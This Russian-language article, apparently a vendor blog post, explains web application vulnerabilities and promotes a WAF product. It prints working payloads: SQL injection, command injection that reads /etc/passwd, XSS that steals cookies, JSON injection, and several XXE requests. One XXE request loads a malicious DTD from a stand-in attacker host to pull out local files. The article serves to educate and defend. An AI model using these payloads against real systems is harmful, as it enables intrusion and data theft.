Безопасность веб-приложений: от уязвимостей до мониторинга

Информационная безопасностьТестирование веб-сервисовDevOps


Уязвимости веб-приложений возникают тогда, когда разработчики добавляют небезопасный код в веб-приложение. Это может происходить как на этапе разработки, так и на этапе доработки или исправления найденных ранее уязвимостей. Недостатки часто классифицируются по степени критичности и их распространенности. Объективной и наиболее популярной классификацией уязвимостей считается OWASP Top 10. Рейтинг составляется специалистами OWASP Project и актуализируется каждые 3-4 года. Текущий релиз выпущен в 2017 году, а следующий ожидается в 2020-2021.

OWASP TOP 10 (на всякий случай)
  • А1 Инъекции — Уязвимости, связанные с внедрением SQL, NoSQL, OS и LDAP. Возникают, когда непроверенные данные отправляются интерпретатору в составе команды или запроса. Вредоносные данные могут заставить интерпретатор выполнить непредусмотренные команды или обратиться к данным без прохождения соответствующей авторизации.
  • А2 Недостатки аутентификации — Функции приложений, связанные с аутентификацией и управлением сессиями, часто некорректно реализуются, позволяя злоумышленникам скомпрометировать пароли, ключи или сессионные токены, а также эксплуатировать другие ошибки реализации для временного или постоянного перехвата учетных записей пользователей.
  • А3 Разглашение конфиденциальных данных — Многие веб-приложения и API имеют плохую защиту критичных финансовых, медицинских или персональных данных. Злоумышленники могут похитить или изменить эти данные, а затем осуществить мошеннические действия с кредитными картами или персональными данными. Конфиденциальные данные требуют дополнительных мер защиты, например их шифрования при хранении или передаче, а также специальных мер предосторожности при работе с браузером.
  • А4 Внедрение внешних сущностей XML — Старые или плохо настроенные XML-процессоры обрабатывают ссылки на внешние сущности внутри документов. Эти сущности могут быть использованы для доступа к внутренним файлам через обработчики URI файлов, общие папки, сканирование портов, удаленное выполнения кода и отказ в обслуживании.
  • А5 Недостатки контроля доступа — Действия, разрешенные аутентифицированным пользователям, зачастую некорректно контролируются. Злоумышленники могут воспользоваться этими недостатками и получить несанкционированный доступ к учетным записям других пользователей или конфиденциальной информации, а также изменить пользовательские данные или права доступа.
  • А6 Некорректная настройка параметров безопасности — Некорректная настройка безопасности является распространенной ошибкой. Это происходит из-за использования стандартных параметров безопасности, неполной или специфичной настройки, открытого облачного хранения, некорректных HTTP-заголовков и подробных сообщений об ошибках, содержащих критичные данные. Все ОС, фреймворки, библиотеки и приложения должны быть не только настроены должным образом, но и своевременно корректироваться и обновляться.
  • А7 Межсайтовое выполнение сценариев — XSS имеет место, когда приложение добавляет непроверенные данные на новую вебстраницу без их соответствующей проверки или преобразования, или когда обновляет открытую страницу через API браузера, используя предоставленные пользователем данные, содержащие HTML- или JavaScript-код. С помощью XSS злоумышленники могут выполнять сценарии в браузере жертвы, позволяющие им перехватывать пользовательские сессии, подменять страницы сайта или перенаправлять пользователей на вредоносные сайты.
  • А8 Небезопасная десериализация — Небезопасная десериализация часто приводит к удаленному выполнению кода. Ошибки десериализации, не приводящие к удаленному выполнению кода, могут быть использованы для атак с повторным воспроизведением, внедрением и повышением привилегий.
  • А9 Использование компонентов с известными уязвимостями — Компоненты, такие как библиотеки, фреймворки и программные модули, запускаются с привилегиями приложения. Эксплуатация уязвимого компонента может привести к потере данных или перехвату контроля над сервером. Использование приложениями и API компонентов с известными уязвимостями может нарушить защиту приложения и привести к серьезным последствиям.
  • А10 Недостатки журналирования и мониторинга — Недостатки журналирования и мониторинга, а также отсутствие или неэффективное использование системы реагирования на инциденты, позволяет злоумышленникам развить атаку, скрыть свое присутствие и проникнуть в другие системы, а также изменить, извлечь или уничтожить данные. Проникновение в систему обычно обнаруживают только через 200 дней и, как правило, сторонние исследователи, а не в рамках внутренних проверок или мониторинга.


Распространенные уязвимости


Для начала рассмотрим типовые уязвимости, которым подвержены многие веб-приложения.

Инъекции


Как и полагается, атаки класса «Инъекции» занимают лидирующую строчку рейтинга OWASP Top 10, встречаясь практически повсеместно и являясь крайне разнообразными в реализации. Уязвимости подобного класса начинаются SQL-инъекциями, в различных его вариациях, и заканчивая RCE — удаленным выполнением кода.

SQLi: http://example.com/?id=1' union select 1,2,version(),4
RCE: http://example.com/search.php?q=;+cat+/etc/passwd

XSS


Межсайтовый скриптинг — уязвимость, встречающаяся на данный момент куда реже, чем раньше, если верить рейтингу OWASP Top 10, но несмотря на это не стала менее опасной для веб-приложений и пользователей. Особенно для пользователей, ведь атака XSS нацелена именно на них. В общем случае злоумышленник внедряет скрипт в веб-приложение, который срабатывает для каждого пользователя, посетившего вредоносную страницу.

http://example.com/?search=<script>alert('xss')</script>

LFI/RFI


Уязвимости данного класса позволяют злоумышленникам через браузер включать локальные и удаленные файлы на сервере в ответ от веб-приложения. Эта брешь присутствует там, где отсутствует корректная обработка входных данных, которой может манипулировать злоумышленник, инжектировать символы типа path traversal и включать другие файлы с веб-сервера.

http://example.com/?search=/../../../../../../etc/passwd

Атаки через JSON и XML


Веб-приложения и API, обрабатывающие запросы в формате JSON или XML, также подвержены атакам, поскольку такие форматы имеют свои недостатки.

JSON


JSON (JavaScript Object Notation) — это облегченный формат обмена данными, используемый для связи между приложениями. Он похож на XML, но проще и лучше подходит для обработки с помощью JavaScript. Многие веб-приложения используют этот формат для обмена данными между собой и сериализации/десериализации данных. Некоторые веб-приложения также используют JSON для хранения важной информации, например, данных пользователя. Обычно используется в RESTful API и приложениях AJAX.

JSON чаще всего ассоциируется с API, тем не менее, часто используется даже в обычных и хорошо известных веб-приложениях. Например, редактирование материалов в WordPress производится именно через отправку запросов в формате JSON:

POST /index.php?rest_route=%2Fwp%2Fv2%2Fposts%2F12&_locale=user HTTP/1.1
Host: wordpress.example.com
...
%Другие заголовки%
...

{"id":12,"title":"test title","content":"test body","status":"publish"}

JSON Injection


Простая инъекция JSON на стороне сервера может быть выполнена в PHP следующим образом:

  • Сервер хранит пользовательские данные в виде строки JSON, включая тип учетной записи;
  • Имя пользователя и пароль берутся непосредственно из пользовательского ввода без очистки;
  • Строка JSON формируется с помощью простой конкатенации:
    $json_string = '{"account":"user","user":"'.$_GET['user'].'","pass":"'.$_GET['pass'].'"}'
  • Злоумышленник добавляет данные к своему имени пользователя:
    john%22,%22account%22:%22administrator%22
  • Результирующая строка JSON:
    {
           "account":"user",
           "user":"john",
           "account":"administrator",
           "pass":"password"
    }

При чтении сохраненной строки парсер JSON (json_decode) обнаруживает две account-записи и берет последнюю, предоставляя права администратора пользователю john.

Простая инъекция JSON на стороне клиента может быть выполнена следующим образом:

  • Строка JSON такая же, как в приведенном выше примере;
  • Сервер получает строку JSON из ненадежного источника;
  • Клиент анализирует строку JSON, используя eval:

    var result = eval("(" + json_string + ")");
           document.getElementById("#account").innerText = result.account;
           document.getElementById("#user").innerText = result.name; 
           document.getElementById("#pass").innerText = result.pass;
  • Значение account:
    user"});alert(document.cookie);({"account":"user
  • Функция eval выполняет alert;
  • Выполнение приводит к XSS и получению document.cookie.

JSON Hijacking


Захват JSON — атака, в некотором смысле похожая на подделку межсайтовых запросов (CSRF), при которой злоумышленник старается перехватить данные JSON, отправленные веб-приложению с веб-сервера:

  • Атакующий создает вредоносный веб-сайт и встраивает скрипт в свой код, который пытается получить доступ к данным JSON от целевого веб-приложения;
  • Пользователь, взаимодействующий с целевым веб-ресурсом, посещает вредоносный сайт (например, за счет приемов социальной инженерии);
  • Поскольку политика одинакового происхождения (SOP) позволяет включать и выполнять JavaScript с любого сайта в контексте любого другого сайта, пользователь получает доступ к данным JSON;
  • Вредоносный сайт перехватывает данные JSON.

XML External Entity


Атака внешней сущности XML (XXE) — это тип атаки, в котором используется широко доступная, но редко используемая функция синтаксических анализаторов XML. Используя XXE, злоумышленник может вызвать отказ в обслуживании (DoS), а также получить доступ к локальному и удаленному контенту и службам. XXE может использоваться для выполнения подделки запросов на стороне сервера (SSRF), заставляя веб-приложение выполнять запросы к другим приложениям. В некоторых случаях c помощью XXE может даже выполнить сканирование портов и удаленное выполнение кода.

XML (Extensible Markup Language) — очень популярный формат данных. Он используется во всем: от веб-сервисов (XML-RPC, SOAP, REST) до документов (XML, HTML, DOCX) и файлов изображений (данные SVG, EXIF). Для интерпретации данных XML приложению требуется анализатор XML, известный как XML-процессор. XML можно использовать не только для объявления элементов, атрибутов и текста. XML-документы могут быть определенного типа. Тип указывается в самом документе, объявляя определение типа. Анализатор XML проверяет, соответствует ли XML-документ указанному типу, прежде чем обрабатывать документ. Вы можете использовать два варианта определений типов: определение схемы XML (XSD) или определение типа документа (DTD). Уязвимости XXE встречаются в последнем варианте. Хотя DTD можно считать устаревшими, но он все еще широко используются.

Фактически, объекты XML могут поступать практически откуда угодно, включая внешние источники (отсюда и название XML External Entity). При этом, XXE может стать разновидностью атаки подделки запросов на стороне сервера (SSRF). Злоумышленник может создать запрос, используя URI (известный в XML как системный идентификатор). Если синтаксический анализатор XML настроен для обработки внешних сущностей, а по умолчанию многие популярные анализаторы XML на это настроены, веб-сервер вернет содержимое файла в системе, потенциально содержащего конфиденциальные данные.

Запрос:
POST http://example.com/xml HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM
  "file:///etc/passwd">
]>
<foo>
  &xxe;
</foo>


Ответ:
HTTP/1.0 200 OK

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin


Злоумышленник, разумеется, не ограничивается системными файлами. Можно легко заполучить и другие локальные файлы, включая исходный код, если известно расположение файлов на сервере или структура веб-приложения. Атаки на внешние объекты XML могут позволить злоумышленнику выполнять HTTP-запросы к файлам в локальной сети т.е. доступным только из-за брандмауэра.

Запрос:
POST http://example.com/xml HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "http://192.168.0.1/secret.txt">
]>
<foo>
  &xxe;
</foo>


Ответ:
HTTP/1.0 200 OK
 
Hello, I'm a file on the local network (behind the firewall)


Запрос:
POST http://example.com/xml HTTP/1.1

<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY bar SYSTEM
  "file:///etc/fstab"&gt;
]>
<foo>
  &bar;
</foo>


Ответ:
HTTP/1.0 500 Internal Server Error

File "file:///etc/fstab", line 3
lxml.etree.XMLSyntaxError: Specification mandate value for attribute system, line 3, column 15


/etc/fstab — это файл, содержащий некоторые символы, похожие на XML, но они не являются XML. Это заставит синтаксический XML-процессор пытаться анализировать эти элементы только для того, чтобы понять — это недействительный XML-документ. Таким образом, внедрение внешних объектов XML ограничивается двумя важными правилами:

  • XXE можно использовать только для получения файлов или ответов, содержащих «действительный» XML;
  • XXE нельзя использовать для получения двоичных файлов.

Обходные пути ограничения XML


Основная проблема для атакующего, использующего XXE, заключается в том, как получить доступ к текстовым файлам с XML-подобным содержимым (файлы, содержащие специальные символы XML, такие как ",',<,>). У XML есть способ решения этой проблемы. Если требуется хранить специальные символы XML в XML-файлах, их можно поместить в тегах CDATA (символьные данные), которые игнорируются анализатором XML:

<![CDATA["'<> characters are ok in here ]]>

Теперь злоумышленник может попробовать отправить запрос, используя символьные данные. Но это не сработает, поскольку спецификация XML не позволяет включать внешние сущности в комбинации с внутренними сущностями. Поэтому пример ниже не будет будет работать в том виде, в котором приведен.

Запрос:
POST http://example.com/xml HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY start "<![CDATA[">
<!ENTITY file SYSTEM
"file:///etc/fstab">
<!ENTITY end "]]>">
<!ENTITY all "&start;&file;&end;">
]>
<data>&all;</data>


Ожидаемый ответ:
HTTP/1.0 200 OK

# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
#
# / was on /dev/sda1 during installation
UUID=1b83709b-6d53-4987-aba9-72e33873cf61 / ext4 errors=remount-ro 0 1
# swap was on /dev/sda5 during installation
UUID=4ffcddd4-6b04-4bff-bd21-bf0dae4e373f none swap sw 0 0
/dev/sr0 /media/cdrom0 udf,iso9660 user,noauto 0 0


Сущности параметров


Помимо общих сущностей, XML также поддерживает сущности параметров. Сущности параметров используются только в определениях типов документов (DTD). Сущность параметра начинается с символа %. Этот символ указывает синтаксическому анализатору XML, что определяется объект параметра. В следующем примере сущность параметра используется для определения общей сущности, которая затем вызывается из документа XML:

Запрос:
POST http://example.com/xml HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY % paramEntity
"<!ENTITY genEntity 'bar'>">
%paramEntity;
]>
<data>&genEntity;</data>


Ожидаемый ответ:
HTTP/1.0 200 OK

bar


Таким образом, злоумышленник может взять неработающий пример с использованием CDATA, приведенный выше, и превратить его в рабочую атаку, создав вредоносный DTD и разместить его на своем сайте attacker.com/evil.dtd.

Запрос:
POST http://example.com/xml HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM
"http://attacker.com/evil.dtd">
%dtd;
%all;
]>
<data>&fileContents;</data>


При этом DTD злоумышленника, находящийся в attacker.com/evil.dtd содержит:

<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents
'%start;%file;%end;'>">


Когда злоумышленник отправляет вышеуказанный запрос, синтаксический анализатор XML сначала пытается обработать DTD-объект параметра, отправляя запрос на http://attacker.com/evil.dtd. После загрузки DTD злоумышленника анализатор XML загрузит из evil.dtd объект параметра %file, которым в данном случае является /etc/fstab. Затем он помещает содержимое файла в теги CDATA, используя объекты параметров %start и %end соответственно. Полученный результат сохраняется в еще одной вызываемой сущности параметра %all. Суть метода состоит в том, что в %all создается общая сущность с именем &fileContents, которую можно включить как часть ответа. Результатом является содержимое файла /etc/fstab, заключенное в теги CDATA.

Оболочки протокола PHP


Если веб-приложение, уязвимое для XXE, является приложением PHP, можно использовать другие векторы атак благодаря протоколу PHP. Оболочки протокола PHP — это потоки ввода-вывода, которые обеспечивают доступ к потокам ввода и вывода PHP. Злоумышленник может использовать оболочку протокола php://filter для кодирования содержимого файла в формате Base64. Поскольку Base64 всегда будет рассматриваться XML как допустимый, злоумышленник может просто закодировать файлы на сервере, а затем декодировать их на принимающей стороне. Этот метод дополнительно позволяет злоумышленнику получить еще и двоичные файлы.

Запрос:
POST http://example.com/xml.php HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/fstab">
]>
<foo>
&bar;
</foo>


Ответ:
HTTP/1.0 200 OK

IyAvZXRjL2ZzdGFiOiBzdGF0aWMgZmlsZSBzeXN0ZW0gaW5mb3JtYXRpb24uDQojDQojIDxmaWxlIHN5c3RlbT4gPG1vdW50IHBvaW50PiAgIDx0eXBlPiAgPG9wdGlvbnM+ICAgICAgIDxkdW1wPiAgPHBhc3M+DQoNCnByb2MgIC9wcm9jICBwcm9jICBkZWZhdWx0cyAgMCAgMA0KIyAvZGV2L3NkYTUNClVVSUQ9YmUzNWE3MDktYzc4Ny00MTk4LWE5MDMtZDVmZGM4MGFiMmY4ICAvICBleHQzICByZWxhdGltZSxlcnJvcnM9cmVtb3VudC1ybyAgMCAgMQ0KIyAvZGV2L3NkYTYNClVVSUQ9Y2VlMTVlY2EtNWIyZS00OGFkLTk3MzUtZWFlNWFjMTRiYzkwICBub25lICBzd2...


Инструменты поиска уязвимостей


Инструментов поиска уязвимостей довольно много. Есть коммерческие продукты: Acunetix, Nessus Scanner, Nexpose, но имеющие и бесплатные пробные версии с ограниченным функционалом. А есть и полностью бесплатные: Wapiti, Nikto, Vega, SQLmap.

С коммерческими продуктами все в основном просто и понятно. Они разрабатываются для максимальной функциональности и удобства пользователей. Как правило, при их использовании от пользователя практически никаких действий не требуется — все происходит автоматически, стоит только указать цель сканирования. С полностью бесплатными решениями дело обстоит немного иначе. Они сами по себе требуют от пользователя участия на протяжении всего процесса сканирования и к тому же многие из них часто бывают узкоспециализированными, не позволяющими охватить весь спектр уязвимостей для их поиска.

Средства поиска уязвимостей в основном работают по принципу отправки специально составленных запросов к веб-приложению и анализу ответов от него, после чего принимается решение о наличии или отсутствии уязвимости. Но довольно часто веб-приложения используют Web Application Firewall — популярный инструмент для противодействия атакам. Как правило, он позволяет блокировать все вышеописанное.

Различные WAF используют и разные алгоритмы выявления и блокировки атак. Тем не менее, зная, какой инструмент защищает веб-приложение, злоумышленник может попробовать обойти ограничительные правила для последующей эксплуатации уязвимостей. Более подробно про методы обхода WAF можно почитать в статье. А чтобы перед этим узнать какой для защиты веб-приложения используется WAF можно использовать инструмент Wafw00f.

Wafw00f отправляет обычные HTTP-запросы и анализирует ответ от веб-приложения, позволяя идентифицировать ряд WAF. Если это не удается, отправляется группа потенциально вредоносных HTTP-запросов и используется простая логика для определения производителя WAF. Если и после этого не удается идентифицировать WAF, то анализируются ранее возвращенные ответы, но используется уже другой алгоритм. Метод, который использует Wafw00f для идентификации Nemesida WAF основывается на статусе ответа 222 и соответствующих регулярных выражениях:



Тем не менее, подобный подход не позволяет инструменту обнаружить Nemesida WAF:





Есть и другие инструменты, которые позволяют обнаруживать WAF, например, XSStrike, но этот инструмент специализируется на XSS, позволяя дополнительно обнаружить средства защиты, чтобы в дальнейшем манипулировать запросами для обхода блокировок.

Недавно мы опубликовали собственный небольшой скрипт waf-bypass для выявления пропусков WAF. С помощью него можно, например, сравнить, количество пропусков для сигнатурного анализа и анализа на основе машинного обучения.



Блокирование атак с помощью WAF


Как говорилось ранее, WAF позволяет противодействовать атакам на веб-приложения, используя различные алгоритмы для выявления и нейтрализации угроз.

Самый распространенный вариант — сигнатурный анализ, быстрый, но имеющий недостатки, позволяющие обойти правила блокировки путем модификации запроса, сохранив «полезную нагрузку». В таких случаях механизм сигнатурного анализа комбинируют с применением машинного обучения, увеличивая точность выявления атак и сокращая количество ложных срабатываний.

Если вы занимаетесь разработкой или обслуживанием веб-приложений и API, но не имеете возможность использовать полноценную версию Nemesida WAF, советуем попробовать его бесплатную версию на основе сигнатурного анализа — Nemesida WAF Free. Заблокированные атаки будут доступны в личном кабинете (устанавливается локально), а качественно написанная сигнатурная база способна выявить большинство известных атак.

image

Демонстрационный стенд Nemesida WAF:


Для наглядности, как в конечном счете будет выглядеть заблокированная атака, мы развернули стенд с личным кабинетом demo.lk.nemesida-security.com (demo@pentestit.ru/pentestit). Личный кабинет предоставляется в виде установочного дистрибутива и также доступен для Nemesida WAF Free.

Nemesida WAF Free предоставляется в виде динамического модуля Nginx и может быть подключен к уже установленному экземпляру веб-сервера без его перекомпиляции. Быстрый старт занимает не более 5 минут для опытных пользователей.
Теги:OWASPJSON attackXXENemesida WAFвеб-приложенияAPI
Хабы: Информационная безопасность Тестирование веб-сервисов DevOps
+4
4,4k 59
Комментировать

Похожие публикации

Веб-дизайн
25 января 202115 000 ₽Loftschool
Безопасность Linux
12 февраля 202130 000 ₽OTUS
React.js. Разработка веб-приложений
15 февраля 202127 000 ₽Loftschool
Vue.js Продвинутая веб-разработка
15 февраля 202127 000 ₽Loftschool
DevOps практики и инструменты
25 февраля 202170 000 ₽OTUS

Лучшие публикации за сутки